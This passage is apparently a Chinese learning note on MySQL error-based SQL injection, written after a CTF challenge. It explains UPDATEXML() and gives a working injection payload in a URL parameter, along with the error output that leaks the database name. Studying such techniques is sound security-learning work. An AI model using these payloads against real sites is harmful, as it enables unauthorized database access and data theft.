mysql exp 报错_exp报错注入和updatexml报错注入

前言

做了实验吧一个题，由于过滤比较多，学了两种新接触的报错注入。一下为总结，以便复习，查看，也作为萌新间的分享交流吧。

学习笔记 UpdateXml() MYSQL显错注入

在学习之前,需要先了解 UpdateXml() 。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc

第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。

第三个参数：new_value，String格式，替换查找到的符合条件的数据

作用：改变文档中符合条件的节点的值

然后咱们再看看语句：

http://www.XXXIII.com/a.php?id=1 and updatexml(1,concat(0x7c,(select database()),0x7c),1)

带入sql语句，大概就是类似这样：

mysql> select * from users where id=1 and updatexml(1,concat(0x7c,(select database()),0x7c),1);

ERROR 1105 (HY000): XPATH syntax error: '|security|'

CONCAT(str1,str2,…)

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ，则返回值为 NULL。

通过查询@&#